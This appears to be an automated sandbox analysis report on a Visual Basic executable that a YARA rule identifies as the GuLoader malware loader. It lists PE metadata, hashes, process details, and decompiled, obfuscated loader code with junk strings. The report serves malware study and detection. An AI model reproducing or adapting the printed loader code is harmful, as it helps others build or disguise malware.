IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x33a64	0x34000	False	0.258328951322	data	4.55415043374	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x35000	0xb94	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x36000	0x70f2	0x8000	False	0.2998046875	data	4.01130957517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3ca8a	0x668	dBase IV DBT of `.DBF, block length 1536, next free block index 40, next free block 4265541880, next used block 7936
RT_ICON	0x3c7a2	0x2e8	data
RT_ICON	0x3c5ba	0x1e8	data
RT_ICON	0x3c492	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x3b5ea	0xea8	data
RT_ICON	0x3ad42	0x8a8	data
RT_ICON	0x3a67a	0x6c8	data
RT_ICON	0x3a112	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x3846a	0x1ca8	data
RT_ICON	0x38102	0x368	GLS_BINARY_LSB_FIRST
RT_ICON	0x3705a	0x10a8	data
RT_ICON	0x366d2	0x988	data
RT_GROUP_ICON	0x36624	0xae	data
RT_VERSION	0x36300	0x324	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, DllFunctionCall, _adj_fpatan, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaLateMemCall, __vbaStrToAnsi, __vbaVarDup, __vbaFpI4, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
LegalCopyright	SentinelStack
InternalName	bayrerss
FileVersion	1.00
CompanyName	SentinelStack
LegalTrademarks	SentinelStack
Comments	SentinelStack
ProductName	SentinelStack
ProductVersion	1.00
FileDescription	SentinelStack
OriginalFilename	bayrerss.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

System Behavior

Analysis Process: 97bXaukEWl.exe PID: 4908 Parent PID: 5516

General

Start time:	11:52:38
Start date:	02/08/2021
Path:	C:\Users\user\Desktop\97bXaukEWl.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\97bXaukEWl.exe'
Imagebase:	0x400000
File size:	259192 bytes
MD5 hash:	9318CD06A9A0B788DC043A63C97D4FCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 97bXaukEWl.exe PID: 4908 Parent PID: 5516 97bXaukEWl.exeCOMMON

Executed Functions

Function 020A5798, Relevance: 20.3, APIs: 1, Strings: 10, Instructions: 1063memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(-C11FD922), ref: 020A594C

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
d@0!, xrefs: 020A421B
_K, xrefs: 020A4098
7qKI, xrefs: 020A583E
JK, xrefs: 020A43FB
n?SK, xrefs: 020A4182
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: 7qKI$J_($Rn/$Rn/$^Zi$_K$d@0!$n?SK$*G$JK
API String ID: 2167126740-1855165314
Opcode ID: 77fdd16bc28cb0b8fdf8081dcadd2b4230c21fa3925e99c39555f48ee8f10892
Instruction ID: 6033e9ef479dc0313a1db7b3e3aa90ebaad7e1b334dc3c80df5320799b5a5a5d
Opcode Fuzzy Hash: 77fdd16bc28cb0b8fdf8081dcadd2b4230c21fa3925e99c39555f48ee8f10892
Instruction Fuzzy Hash: B48244B160034A9FEB748F78CDA47DA3BA2FF59350F95812EDC899B240D3758A85CB41

Uniqueness

Uniqueness Score: -1.00%

Function 004331B4, Relevance: 103.8, APIs: 41, Strings: 18, Instructions: 507
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E004331B4(signed int _a4, intOrPtr _a682) {
				signed int _v8;
				intOrPtr _v12;
				long long* _v16;
				void* _v44;
				void* _v56;
				char _v60;
				char _v64;
				char _v88;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				void* _v116;
				char _v120;
				intOrPtr _v128;
				char _v136;
				intOrPtr _v144;
				char _v152;
				intOrPtr _v160;
				char _v168;
				intOrPtr _v176;
				char _v184;
				char _v200;
				char _v232;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				char _v284;
				void* _t165;
				intOrPtr* _t166;
				void* _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t171;
				void* _t177;
				void* _t179;
				void* _t181;
				void* _t183;
				void* _t185;
				void* _t187;
				void* _t189;
				void* _t191;
				void* _t193;
				void* _t195;
				void* _t197;
				void* _t199;
				void* _t201;
				void* _t203;
				void* _t205;
				char _t206;
				void* _t212;
				signed int _t213;
				signed int _t214;
				char* _t241;
				char* _t259;
				void* _t282;
				char _t285;
				void* _t289;
				intOrPtr* _t290;
				intOrPtr* _t291;
				intOrPtr* _t292;
				intOrPtr* _t293;
				void* _t298;
				intOrPtr _t300;
				long long* _t301;
				void* _t302;
				void* _t305;

				 *[fs:0x0] = _t300;
				_t301 = _t300 - 0x12c;
				_v16 = _t301;
				_v12 = 0x401130;
				_t213 = _a4;
				_v8 = _t213 & 0x00000001;
				_t214 = _t213 & 0xfffffffe;
				_a4 = _t214;
				 *((intOrPtr*)( *_t214 + 4))(_t214, _t282, _t289, _t212,  *[fs:0x0], 0x401226);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t285 = 0;
				_t302 =  *0x435448 - _t285; // 0x2a8e8b4
				_v60 = 0;
				_v64 = 0;
				_v88 = 0;
				_v100 = 0;
				_v104 = 0;
				_v108 = 0;
				_v112 = 0;
				_v116 = 0;
				_v120 = 0;
				_v136 = 0;
				_v152 = 0;
				_v168 = 0;
				_v184 = 0;
				_v200 = 0;
				_v232 = 0;
				_v252 = 0;
				_v256 = 0;
				_v260 = 0;
				_v264 = 0;
				_v268 = 0;
				_v272 = 0;
				_v276 = 0;
				_v284 = 0;
				_v280 = 0;
				if(_t302 == 0) {
					_push(0x435448);
					_push(0x431ad4);
					L00401364();
				}
				_t290 =  *0x435448; // 0x2a8e8b4
				_t165 =  *((intOrPtr*)( *_t290 + 0x14))(_t290,  &_v116);
				asm("fclex");
				if(_t165 < _t285) {
					_push(0x14);
					_push(0x431ac4);
					_push(_t290);
					_push(_t165);
					L0040135E();
				}
				_t166 = _v116;
				_t291 = _t166;
				_t167 =  *((intOrPtr*)( *_t166 + 0x110))(_t166,  &_v108);
				asm("fclex");
				if(_t167 < _t285) {
					_push(0x110);
					_push(0x431ae4);
					_push(_t291);
					_push(_t167);
					L0040135E();
				}
				_v108 = _t285;
				L0040136A();
				L00401358();
				_t305 =  *0x435448 - _t285; // 0x2a8e8b4
				if(_t305 == 0) {
					_push(0x435448);
					_push(0x431ad4);
					L00401364();
				}
				_t292 =  *0x435448; // 0x2a8e8b4
				_t169 =  *((intOrPtr*)( *_t292 + 0x14))(_t292,  &_v116);
				asm("fclex");
				if(_t169 < _t285) {
					_push(0x14);
					_push(0x431ac4);
					_push(_t292);
					_push(_t169);
					L0040135E();
				}
				_t170 = _v116;
				_t293 = _t170;
				_t171 =  *((intOrPtr*)( *_t170 + 0x50))(_t170,  &_v108);
				asm("fclex");
				if(_t171 < _t285) {
					_push(0x50);
					_push(0x431ae4);
					_push(_t293);
					_push(_t171);
					L0040135E();
				}
				_push(_v108);
				_push(_t285);
				L00401352();
				asm("sbb esi, esi");
				L0040134C();
				L00401358();
				if( ~( ~_t171 + 1) != _t285) {
					_push(_t285);
					_push(L"Gennemfoerer7");
					_push( &_v136);
					L00401340();
					_t301 = _t301 - 0x10;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0);
					_push(_v100);
					asm("movsd");
					L00401346();
					L0040133A();
					_t285 = 0;
				}
				_v252 = 0x18e0;
				 *((intOrPtr*)( *_t214 + 0x718))(_t214,  &_v252, L"Manitou5");
				_v252 = 0x2f68;
				 *((intOrPtr*)( *_t214 + 0x718))(_t214,  &_v252, L"LUTES");
				L00401334();
				_t177 =  *((intOrPtr*)( *_t214 + 0x700))(_t214,  &_v108, 0x549086);
				if(_t177 >= _t285) {
					_t298 = 0x431650;
				} else {
					_push(0x700);
					_t298 = 0x431650;
					_push(0x431650);
					_push(_t214);
					_push(_t177);
					L0040135E();
				}
				L0040134C();
				_v272 = 0x4c51a4;
				_v268 = 0x4b3f310a;
				L00401334();
				_t69 =  &_v268; // 0x4b3f310a
				_t179 =  *((intOrPtr*)( *_t214 + 0x6f8))(_t214,  &_v108, _t69, 0x1a6e,  &_v272,  &_v276);
				if(_t179 < 0) {
					_push(0x6f8);
					_push(_t298);
					_push(_t214);
					_push(_t179);
					L0040135E();
				}
				L0040134C();
				_v260 = 0x20fb;
				_v256 = 0x22c0;
				_v252 = 0xad1;
				_t181 =  *((intOrPtr*)( *_t214 + 0x704))(_t214, 0x5fc0,  &_v252,  &_v256, 0x5e3c7650, 0x5af8,  &_v260,  &_v264);
				if(_t181 < 0) {
					_push(0x704);
					_push(_t298);
					_push(_t214);
					_push(_t181);
					L0040135E();
				}
				_t81 =  &_v268; // 0x4b3f310a
				_v252 = 0x7005;
				_t183 =  *((intOrPtr*)( *_t214 + 0x6fc))(_t214, 0x72750c,  &_v252, L"eskalere", _t81);
				if(_t183 < 0) {
					_push(0x6fc);
					_push(_t298);
					_push(_t214);
					_push(_t183);
					L0040135E();
				}
				_t85 =  &_v268; // 0x4b3f310a
				_t241 =  &_v252;
				_v252 = 0x1c28;
				_t185 =  *((intOrPtr*)( *_t214 + 0x6fc))(_t214, 0x21c7b1, _t241, L"Ombudsmandssags", _t85);
				if(_t185 < 0) {
					_push(0x6fc);
					_push(_t298);
					_push(_t214);
					_push(_t185);
					L0040135E();
				}
				 *_t301 =  *0x401128;
				_v284 = 0x98f265f0;
				_v280 = 0x5af5;
				_t187 =  *((intOrPtr*)( *_t214 + 0x710))(_t214, L"Foretagende",  &_v284, 0x38813, _t241, _t241);
				if(_t187 < 0) {
					_push(0x710);
					_push(_t298);
					_push(_t214);
					_push(_t187);
					L0040135E();
				}
				L00401334();
				_t189 =  *((intOrPtr*)( *_t214 + 0x700))(_t214,  &_v108, 0x102d81);
				if(_t189 < 0) {
					_push(0x700);
					_push(_t298);
					_push(_t214);
					_push(_t189);
					L0040135E();
				}
				L0040134C();
				_v260 = 0x1896;
				_v256 = 0x71bf;
				_v252 = 0x63df;
				_t191 =  *((intOrPtr*)( *_t214 + 0x704))(_t214, 0x6a8a,  &_v252,  &_v256, 0x694ff200, 0x5afe,  &_v260,  &_v264);
				if(_t191 < 0) {
					_push(0x704);
					_push(_t298);
					_push(_t214);
					_push(_t191);
					L0040135E();
				}
				L00401334();
				_t193 =  *((intOrPtr*)( *_t214 + 0x700))(_t214,  &_v108, 0x24b6b9);
				if(_t193 < 0) {
					_push(0x700);
					_push(_t298);
					_push(_t214);
					_push(_t193);
					L0040135E();
				}
				L0040134C();
				L00401334();
				_t195 =  *((intOrPtr*)( *_t214 + 0x700))(_t214,  &_v108, 0x6a9141);
				if(_t195 < 0) {
					_push(0x700);
					_push(_t298);
					_push(_t214);
					_push(_t195);
					L0040135E();
				}
				L0040134C();
				_t259 =  &_v252;
				_v260 = 0x3004;
				_v256 = 0x1b53;
				_v252 = 0x13cb;
				_t197 =  *((intOrPtr*)( *_t214 + 0x704))(_t214, 0x35f8, _t259,  &_v256, 0xcd9869a0, 0x5b02,  &_v260,  &_v264);
				if(_t197 < 0) {
					_push(0x704);
					_push(_t298);
					_push(_t214);
					_push(_t197);
					L0040135E();
				}
				 *_t301 =  *0x401120;
				_v284 = 0xbed390a0;
				_v280 = 0x5afa;
				_t199 =  *((intOrPtr*)( *_t214 + 0x710))(_t214, L"Decametre",  &_v284, 0x31010f, _t259, _t259);
				if(_t199 < 0) {
					_push(0x710);
					_push(_t298);
					_push(_t214);
					_push(_t199);
					L0040135E();
				}
				_v272 = 0x417ed2;
				_v268 = 0x4b821121;
				L00401334();
				_t201 =  *((intOrPtr*)( *_t214 + 0x6f8))(_t214,  &_v108,  &_v268, 0x3a32,  &_v272,  &_v276);
				if(_t201 < 0) {
					_push(0x6f8);
					_push(_t298);
					_push(_t214);
					_push(_t201);
					L0040135E();
				}
				L0040134C();
				_v252 = 0x5041;
				_t203 =  *((intOrPtr*)( *_t214 + 0x6fc))(_t214, 0x186c63,  &_v252, L"SIBNESS",  &_v268);
				if(_t203 < 0) {
					_push(0x6fc);
					_push(_t298);
					_push(_t214);
					_push(_t203);
					L0040135E();
				}
				_v252 = 0x6b03;
				_t205 =  *((intOrPtr*)( *_t214 + 0x6fc))(_t214, 0x840f3b,  &_v252, L"MASCHA",  &_v268);
				if(_t205 < 0) {
					_push(0x6fc);
					_push(_t298);
					_push(_t214);
					_push(_t205);
					L0040135E();
				}
				_t206 = 0xa;
				_v184 = _t206;
				_v168 = _t206;
				_v152 = _t206;
				_push( &_v184);
				_push( &_v168);
				_push( &_v152);
				_push(0);
				_push( &_v136);
				_v176 = 0x80020004;
				_v160 = 0x80020004;
				_v144 = 0x80020004;
				_v128 = 0xa776766;
				_a682 = 0x40df24;
				_a682 = _a682 - 0xfffe49fa;
				goto __edi;
			}

0x004331c6
0x004331cd
0x004331d6
0x004331d9
0x004331e0
0x004331e8
0x004331eb
0x004331f1
0x004331f4
0x004331fc
0x004331fd
0x004331fe
0x004331ff
0x00433205
0x00433206
0x00433208
0x0043320e
0x00433211
0x00433214
0x00433217
0x0043321a
0x0043321d
0x00433220
0x00433223
0x00433226
0x00433229
0x0043322f
0x00433235
0x0043323b
0x00433241
0x00433247
0x0043324d
0x00433253
0x00433259
0x0043325f
0x00433265
0x0043326b
0x00433271
0x00433277
0x0043327d
0x00433283
0x00433285
0x0043328a
0x0043328f
0x0043328f
0x00433294
0x004332a1
0x004332a4
0x004332a8
0x004332aa
0x004332ac
0x004332b1
0x004332b2
0x004332b3
0x004332b3
0x004332b8
0x004332c2
0x004332c4
0x004332ca
0x004332ce
0x004332d0
0x004332d5
0x004332da
0x004332db
0x004332dc
0x004332dc
0x004332e7
0x004332ea
0x004332f2
0x004332f7
0x004332fd
0x004332ff
0x00433304
0x00433309
0x00433309
0x0043330e
0x0043331b
0x0043331e
0x00433322
0x00433324
0x00433326
0x0043332b
0x0043332c
0x0043332d
0x0043332d
0x00433332
0x0043333c
0x0043333e
0x00433341
0x00433345
0x00433347
0x00433349
0x0043334e
0x0043334f
0x00433350
0x00433350
0x00433355
0x00433358
0x00433359
0x00433362
0x0043336a
0x00433372
0x0043337a
0x0043337c
0x0043337d
0x00433388
0x00433389
0x0043338e
0x00433399
0x0043339a
0x0043339b
0x0043339c
0x0043339e
0x004333a1
0x004333a2
0x004333ad
0x004333b2
0x004333b2
0x004333c3
0x004333cd
0x004333e2
0x004333ec
0x004333fa
0x0043340b
0x00433418
0x0043342a
0x0043341a
0x0043341a
0x0043341b
0x00433420
0x00433421
0x00433422
0x00433423
0x00433423
0x00433432
0x0043343f
0x00433449
0x00433453
0x0043346d
0x00433479
0x00433481
0x00433483
0x00433488
0x00433489
0x0043348a
0x0043348b
0x0043348b
0x00433493
0x004334c6
0x004334d0
0x004334da
0x004334e4
0x004334ec
0x004334ee
0x004334f3
0x004334f4
0x004334f5
0x004334f6
0x004334f6
0x004334fd
0x00433516
0x00433520
0x00433528
0x0043352a
0x0043352f
0x00433530
0x00433531
0x00433532
0x00433532
0x00433539
0x00433545
0x00433552
0x0043355c
0x00433564
0x00433566
0x0043356b
0x0043356c
0x0043356d
0x0043356e
0x0043356e
0x0043357d
0x00433592
0x0043359c
0x004335a6
0x004335ae
0x004335b0
0x004335b5
0x004335b6
0x004335b7
0x004335b8
0x004335b8
0x004335c5
0x004335d6
0x004335de
0x004335e0
0x004335e1
0x004335e2
0x004335e3
0x004335e4
0x004335e4
0x004335ec
0x0043361f
0x00433629
0x00433633
0x0043363d
0x00433645
0x00433647
0x0043364c
0x0043364d
0x0043364e
0x0043364f
0x0043364f
0x0043365c
0x0043366d
0x00433675
0x00433677
0x00433678
0x00433679
0x0043367a
0x0043367b
0x0043367b
0x00433683
0x00433690
0x004336a1
0x004336a9
0x004336ab
0x004336ac
0x004336ad
0x004336ae
0x004336af
0x004336af
0x004336b7
0x004336dd
0x004336ea
0x004336f4
0x004336fe
0x00433708
0x00433710
0x00433712
0x00433717
0x00433718
0x00433719
0x0043371a
0x0043371a
0x00433729
0x0043373e
0x00433748
0x00433752
0x0043375a
0x0043375c
0x00433761
0x00433762
0x00433763
0x00433764
0x00433764
0x00433771
0x0043377b
0x00433785
0x004337ab
0x004337b3
0x004337b5
0x004337ba
0x004337bb
0x004337bc
0x004337bd
0x004337bd
0x004337c5
0x004337e5
0x004337ef
0x004337f7
0x004337f9
0x004337fe
0x004337ff
0x00433800
0x00433801
0x00433801
0x00433821
0x0043382b
0x00433833
0x00433835
0x0043383a
0x0043383b
0x0043383c
0x0043383d
0x0043383d
0x00433844
0x00433845
0x0043384b
0x00433851
0x0043385d
0x00433864
0x0043386b
0x00433871
0x00433879
0x0043387a
0x00433880
0x00433886
0x0043388c
0x00433893
0x0043389d
0x004338ad

APIs

__vbaNew2.MSVBVM60(00431AD4,00435448), ref: 0043328F
__vbaHresultCheckObj.MSVBVM60(00000000,02A8E8B4,00431AC4,00000014), ref: 004332B3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00431AE4,00000110), ref: 004332DC
__vbaStrMove.MSVBVM60(00000000,?,00431AE4,00000110), ref: 004332EA
__vbaFreeObj.MSVBVM60(00000000,?,00431AE4,00000110), ref: 004332F2
__vbaNew2.MSVBVM60(00431AD4,00435448), ref: 00433309
__vbaHresultCheckObj.MSVBVM60(00000000,02A8E8B4,00431AC4,00000014), ref: 0043332D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00431AE4,00000050), ref: 00433350
__vbaStrCmp.MSVBVM60(00000000,?), ref: 00433359
__vbaFreeStr.MSVBVM60(00000000,?), ref: 0043336A
__vbaFreeObj.MSVBVM60(00000000,?), ref: 00433372
#716.MSVBVM60(?,Gennemfoerer7,00000000,00000000,?), ref: 00433389
__vbaLateIdSt.MSVBVM60(?,00000000,?), ref: 004333A2
__vbaFreeVar.MSVBVM60(?,00000000,?), ref: 004333AD
__vbaStrCopy.MSVBVM60 ref: 004333FA
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000700), ref: 00433423
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,00000700), ref: 00433432
__vbaStrCopy.MSVBVM60(00000000,00401130,00431650,00000700), ref: 00433453
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006F8), ref: 0043348B
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,000006F8), ref: 00433493
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000704), ref: 004334F6
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006FC), ref: 00433532
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006FC), ref: 0043356E
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000710), ref: 004335B8
__vbaStrCopy.MSVBVM60(00000000,00401130,00431650,00000710), ref: 004335C5
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000700), ref: 004335E4
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,00000700), ref: 004335EC
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000704), ref: 0043364F
__vbaStrCopy.MSVBVM60(00000000,00401130,00431650,00000704), ref: 0043365C
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000700), ref: 0043367B
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,00000700), ref: 00433683
__vbaStrCopy.MSVBVM60(00000000,00401130,00431650,00000700), ref: 00433690
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000700), ref: 004336AF
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,00000700), ref: 004336B7
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000704), ref: 0043371A
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,00000710), ref: 00433764
__vbaStrCopy.MSVBVM60(00000000,00401130,00431650,00000710), ref: 00433785
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006F8), ref: 004337BD
__vbaFreeStr.MSVBVM60(00000000,00401130,00431650,000006F8), ref: 004337C5
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006FC), ref: 00433801
__vbaHresultCheckObj.MSVBVM60(00000000,00401130,00431650,000006FC), ref: 0043383D

Strings

SIBNESS, xrefs: 004337D3
Baghaven, xrefs: 00433688
eskalere, xrefs: 00433504
dovneste, xrefs: 004333F2
Racquets6, xrefs: 00433437
MASCHA, xrefs: 0043380F
spermaceti, xrefs: 00433769
Ombudsmandssags, xrefs: 00433540
AP, xrefs: 004337E5
1?K, xrefs: 0043346D, 00433473
fgw, xrefs: 0043388C
Decametre, xrefs: 00433738
Foretagende, xrefs: 0043358C
forktrelser, xrefs: 004335BD
LUTES, xrefs: 004333D5
Manitou5, xrefs: 004333B6
Undertip8, xrefs: 00433654
Gennemfoerer7, xrefs: 0043337D

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$Free$Copy$New2$#716LateMove
String ID: 1?K$AP$Baghaven$Decametre$Foretagende$Gennemfoerer7$LUTES$MASCHA$Manitou5$Ombudsmandssags$Racquets6$SIBNESS$Undertip8$dovneste$eskalere$fgw$forktrelser$spermaceti
API String ID: 3859083423-3706718144
Opcode ID: f5e45a99b951f2a1d1be3cf14854c28194beabfd59fc8e0f6390fd9e00acbb44
Instruction ID: 0cb2dea461580c366750edc0f6d7fd51c3546b181de6eaf3d35cf75ba8531b1f
Opcode Fuzzy Hash: f5e45a99b951f2a1d1be3cf14854c28194beabfd59fc8e0f6390fd9e00acbb44
Instruction Fuzzy Hash: D61241B0940219AFEB24DF55CC89FEEB7B8EF14704F0041AAF509A7191DBB85A84CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00401388, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6%*), ref: 0040138D

Strings

VB5!6%*, xrefs: 00401388

Memory Dump Source

Source File: 00000000.00000002.746077742.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.746067810.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.746428529.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.746457640.0000000000436000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6%*
API String ID: 1341478452-4246263594
Opcode ID: 5f024488ff9672cb9e96c30a68833fbea30e7569b078e3e64589e2d633f80c4b
Instruction ID: 9a1096f8a0c9cb9102b560f3722554ea82e1537a9b8d88e42daa921e95f26e6d
Opcode Fuzzy Hash: 5f024488ff9672cb9e96c30a68833fbea30e7569b078e3e64589e2d633f80c4b
Instruction Fuzzy Hash: 4F8162A644E3C15FD7438BB899656917FB1AE23218B0F45DBC4C1CF0B3E2A9590AD732

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 020A245F, Relevance: 12.3, Strings: 9, Instructions: 1067COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
d@0!, xrefs: 020A421B
_K, xrefs: 020A4098
JK, xrefs: 020A43FB
n?SK, xrefs: 020A4182
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$^Zi$_K$d@0!$n?SK$*G$JK
API String ID: 0-1906473922
Opcode ID: f3422d547e73e0428b29bec84574c8e7f20aad939db443c795b9e2ac30fe8f27
Instruction ID: cc5d9da04bf4e4fd4588e8281b8167d3ecb0beffcd56e078bbff64ad4286d689
Opcode Fuzzy Hash: f3422d547e73e0428b29bec84574c8e7f20aad939db443c795b9e2ac30fe8f27
Instruction Fuzzy Hash: 628256B260034A9FDF708E78CDA47DA77A3FF59350F95812ADC899B204D3358A86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 020A3BB6, Relevance: 12.3, Strings: 9, Instructions: 1004COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
d@0!, xrefs: 020A421B
_K, xrefs: 020A4098
JK, xrefs: 020A43FB
n?SK, xrefs: 020A4182
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$^Zi$_K$d@0!$n?SK$*G$JK
API String ID: 0-1906473922
Opcode ID: eb45a0b08d16ef1c91ac2c6df60950d908e2c2ebaf47a2a45241a12c685392a7
Instruction ID: 6945ba981d9c4dc0d5238e06e6e87e85ae67047c08464f0a7739c00127a8b3f0
Opcode Fuzzy Hash: eb45a0b08d16ef1c91ac2c6df60950d908e2c2ebaf47a2a45241a12c685392a7
Instruction Fuzzy Hash: BC82557160434A9FDF748FB8CDA47DA7BA2FF16350F85812ADC899B245D3348A86CB41

Uniqueness

Uniqueness Score: -1.00%

Function 020A73CC, Relevance: 12.2, Strings: 9, Instructions: 976COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
d@0!, xrefs: 020A421B
_K, xrefs: 020A4098
JK, xrefs: 020A43FB
n?SK, xrefs: 020A4182
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$^Zi$_K$d@0!$n?SK$*G$JK
API String ID: 0-1906473922
Opcode ID: a4437abaa23efece04aeae2b1f1dc64b4502cc4bf0e44b924140cfa53641fc78
Instruction ID: 35b9f73a06067798c5ce5a631c8a9ae749f0bb6d8bde05a1a7d6cadea9f1363e
Opcode Fuzzy Hash: a4437abaa23efece04aeae2b1f1dc64b4502cc4bf0e44b924140cfa53641fc78
Instruction Fuzzy Hash: E68255B260034A9FDB708FB8CDA47DA7BE2FF55350F95812ADC899B204D3748A85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 020A4050, Relevance: 12.2, Strings: 9, Instructions: 926COMMON

Download Yara Rule

Strings

J_(, xrefs: 020A4B72
*G, xrefs: 020A4E76
Rn/, xrefs: 020A4BEA
d@0!, xrefs: 020A421B
_K, xrefs: 020A4098
JK, xrefs: 020A43FB
n?SK, xrefs: 020A4182
^Zi, xrefs: 020A44E4
Rn/, xrefs: 020A4BE5

Memory Dump Source

Source File: 00000000.00000002.747139743.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Yara matches

Similarity

API ID:
String ID: J_($Rn/$Rn/$^Zi$_K$d@0!$n?SK$*G$JK
API String ID: 0-1906473922
Opcode ID: 87652bb9e89fd4485b5cc158590c36ec90b3e049c01afc01b3dc547cb688b3bb
Instruction ID: b637a556807490e2b04370b75a7077c2bb3d6c9a9dea7f79e115fad692664911
Opcode Fuzzy Hash: 87652bb9e89fd4485b5cc158590c36ec90b3e049c01afc01b3dc547cb688b3bb
Instruction Fuzzy Hash: 1B7265B260034A9FDB749F78CDA47DA7BE2FF16350F95812ADC899B244D3348A85CB41

Uniqueness

Uniqueness Score: -1.00%

